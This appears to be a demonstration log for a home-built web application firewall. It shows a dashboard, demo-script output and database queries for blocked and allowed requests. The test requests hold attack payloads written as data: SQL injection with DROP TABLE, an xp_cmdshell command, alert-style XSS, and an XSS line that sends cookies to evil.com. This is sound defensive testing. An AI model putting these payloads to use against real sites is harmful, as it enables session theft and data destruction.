



WAF Functionality Demonstration Commands

1. Start the Dashboard (First take screenshot of this command and the dashboard URL)

The screenshot shows the Intelligent WAF Dashboard in a web browser at localhost:8080. The dashboard displays real-time threat monitoring and analysis. Key metrics include:

- Total Requests: 53 (All traffic monitored)
- Blocked Threats: 18 (Prevented attacks)
- Detection Rate: 33.96% (Threat identification)
- Avg Confidence: 0.3076 (Model accuracy)

The dashboard also shows Recent Activity and Threat Distribution.

Time	IP Address	Request	Status	Confidence
	198.51.100.5	POST /upload	BLOCKED	0.80
	192.168.1.201	GET /profile/settings	ALLOWED	0.10
	203.0.113.6	GET /search?q=	BLOCKED	0.75

Type	Count
SQL INJECTION	6
XSS	12

The terminal output on the right shows the command to start the dashboard and the resulting messages:

```
ash@MacBook-Air intelligent-waf-m1 % python3 src/dashboard.py
Starting WAF Dashboard on port 8080
Visit: http://localhost:8080
Tip: Process some requests through the WAF to see data populate!
Database initialized successfully at logs/waf_logs.db
```

2. Run the Demo Script (Comprehensive Test)

Intelligent WAF Dashboard

Real-time threat monitoring and analysis

System operational | Data collector connected

Total Requests

59

All traffic monitored

Blocked Threats

22

Prevented attacks

Detection Rate

37.29%

Threat identification

Avg Confidence

0.3323

Model accuracy

Recent Activity

Time	IP Address	Request	Status	Confidence
	198.51.100.5	POST /upload	BLOCKED	0.80
	203.0.113.6	GET /search?q=	BLOCKED	0.75
	198.51.100.3	POST /comment	BLOCKED	0.75

Threat Distribution

Type	Count
SQL INJECTION	8
XSS	14

```
ash@MacBook-Air intelligent-waf-m1 % python3 demo.py
Intelligent WAF Demo
=====
✓ Database initialized successfully at logs/waf_logs.db
✓ WAF connected to data collector
✓ WAF initialized

✓ Test 1: Legitimate API Request
Request: GET /api/users
Analyzing request: GET /api/users from 192.168.1.100
✓ ALLOWED: ML analysis completed (content length: 11) (confidence: 0.10)
Result: ALLOWED (Confidence: 0.10)

✓ Test 2: Normal User Profile Access
Request: GET /profile/settings
Analyzing request: GET /profile/settings from 192.168.1.101
✓ ALLOWED: ML analysis completed (content length: 18) (confidence: 0.10)
Result: ALLOWED (Confidence: 0.10)

✓ Test 3: SQL Injection - Authentication Bypass
Request: POST /login
Body: username=admin'; DROP TABLE users; --&password=pa...
Analyzing request: POST /login from 203.0.113.5
✓ BLOCKED: SQL Injection detected by pattern matching (confidence: 0.80)
Result: BLOCKED (Confidence: 0.80)
Threat: SQL_INJECTION

✓ Test 4: XSS - Script Injection
Request: POST /comment
Body: <script>alert("XSS")</script>...
Analyzing request: POST /comment from 198.51.100.3
✓ BLOCKED: XSS detected by pattern matching (confidence: 0.75)
Result: BLOCKED (Confidence: 0.75)
Threat: XSS

✓ Test 5: XSS - Image Tag Exploit
Request: GET /search?q=<img src=x onerror=alert(1)>
Analyzing request: GET /search?q=<img src=x onerror=alert(1)> from 203.0.113.6
✓ BLOCKED: XSS detected by pattern matching (confidence: 0.75)
Result: BLOCKED (Confidence: 0.75)
Threat: XSS

✓ Test 6: Command Injection - System Commands
Request: POST /upload
Body: '; EXEC xp_cmdshell('dir'); --...
Analyzing request: POST /upload from 198.51.100.5
✓ BLOCKED: SQL Injection detected by pattern matching (confidence: 0.80)
Result: BLOCKED (Confidence: 0.80)
Threat: SQL_INJECTION

✓ Demo completed!

Check the dashboard at http://localhost:8080 to see real-time results
ash@MacBook-Air intelligent-waf-m1 %
```

3. Check Database Logs (After Demo)

```
ash@MacBook-Air intelligent-waf-m1 % python3 -c "
import sqlite3
conn = sqlite3.connect('logs/waf_logs.db')
cursor = conn.cursor()

# Count total entries
cursor.execute('SELECT COUNT(*) FROM waf_logs')
count = cursor.fetchone()[0]
print(f'Total logged requests: {count}')
```

Total logged requests: 59

```
# Show recent entries
cursor.execute('SELECT timestamp, ip_address, method, url, is_malicious, threat_type FROM waf_logs
ORDER BY id DESC LIMIT 5')
recent = cursor.fetchall()
print('\nMost recent entries:')
for i, entry in enumerate(recent):
    print(f' {i+1}. {entry}')
```

Most recent entries:

1. ('2025-11-12T09:11:08.989572', '198.51.100.5', 'POST', '/upload', 1, 'sql_injection')
2. ('2025-11-12T09:11:07.980865', '203.0.113.6', 'GET', '/search?q=', 1, 'xss')
3. ('2025-11-12T09:11:06.971808', '198.51.100.3', 'POST', '/comment', 1, 'xss')
4. ('2025-11-12T09:11:05.963457', '203.0.113.5', 'POST', '/login', 1, 'sql_injection')
5. ('2025-11-12T09:11:04.954513', '192.168.1.101', 'GET', '/profile/settings', 0, None)

```
ash@MacBook-Air intelligent-waf-m1 %
```

4. Test Individual Threat Types

```
ash@MacBook-Air intelligent-waf-m1 % # SQL Injection Test
python3 -c "
import sys
sys.path.append('src')
from waf_engine import IntelligentWAF

waf = IntelligentWAF()
request = {
    'ip_address': '104.28.29.101',
    'method': 'POST',
    'url': '/login',
    'body': \"username=admin'; DROP TABLE users;--&password=pass\"
}
result = waf.process_request(request)
print(f'SQL Injection Test - Result: {\"BLOCKED\" if result.blocked else \"ALLOWED\"} (Confidence: {result.confidence:.2f})')
print(f'Threat Type: {result.threat_type.value if result.threat_type else \"none\"}')
```

zsh: command not found: #

- ✓ Database initialized successfully at logs/waf_logs.db
- ✓ WAF connected to data collector
- Analyzing request: POST /login from 104.28.29.101
- ✓ BLOCKED: SQL Injection detected by pattern matching (confidence: 0.80)

SQL Injection Test - Result: BLOCKED (Confidence: 0.80)
Threat Type: sql_injection

```
ash@MacBook-Air intelligent-waf-m1 %
```

```

ash@MacBook-Air intelligent-waf-m1 % # XSS Test
python3 -c "
import sys
sys.path.append('src')
from waf_engine import IntelligentWAF

waf = IntelligentWAF()
request = {
    'ip_address': '198.51.100.4',
    'method': 'POST',
    'url': '/comment',
    'body': '<script>document.location=\"http://evil.com/steal?c=\"+document.cookie</script>'
}
result = waf.process_request(request)
print(f'XSS Test - Result: {\"BLOCKED\" if result.blocked else \"ALLOWED\"} (Confidence: {result.confidence:.2f})')
print(f'Threat Type: {result.threat_type.value if result.threat_type else \"none\"}')
"
zsh: command not found: #
✓ Database initialized successfully at logs/waf_logs.db
✓ WAF connected to data collector
● Analyzing request: POST /comment from 198.51.100.4
✓ BLOCKED: XSS detected by pattern matching (confidence: 0.75)
XSS Test - Result: BLOCKED (Confidence: 0.75)
Threat Type: xss
ash@MacBook-Air intelligent-waf-m1 %

```

```

ash@MacBook-Air intelligent-waf-m1 % # Legitimate Request Test
python3 -c "
import sys
sys.path.append('src')
from waf_engine import IntelligentWAF

waf = IntelligentWAF()
request = {
    'ip_address': '192.168.1.100',
    'method': 'GET',
    'url': '/api/users'
}
result = waf.process_request(request)
print(f'Legitimate Request Test - Result: {\"BLOCKED\" if result.blocked else \"ALLOWED\"} (Confidence: {result.confidence:.2f})')
print(f'Threat Type: {result.threat_type.value if result.threat_type else \"none\"}')
"
zsh: command not found: #
✓ Database initialized successfully at logs/waf_logs.db
✓ WAF connected to data collector
● Analyzing request: GET /api/users from 192.168.1.100
✓ ALLOWED: ML analysis completed (content length: 11) (confidence: 0.10)
Legitimate Request Test - Result: ALLOWED (Confidence: 0.10)
Threat Type: none
ash@MacBook-Air intelligent-waf-m1 %

```

6. Check Database Schema (Proof of proper setup)

```

ash@MacBook-Air intelligent-waf-m1 % python3 -c "
import sqlite3
conn = sqlite3.connect('logs/waf_logs.db')
cursor = conn.cursor()

# Show table schema
cursor.execute('PRAGMA table_info(waf_logs)')
schema = cursor.fetchall()
print('Database Schema:')
for column in schema:
    print(f' {column[1]} ({column[2]})')

conn.close()
"
Database Schema:
id (INTEGER)
timestamp (TEXT)
ip_address (TEXT)
method (TEXT)
url (TEXT)
user_agent (TEXT)
is_malicious (BOOLEAN)
threat_type (TEXT)
confidence (REAL)
blocked (BOOLEAN)
payload (TEXT)
response_code (INTEGER)
ash@MacBook-Air intelligent-waf-m1 %

```


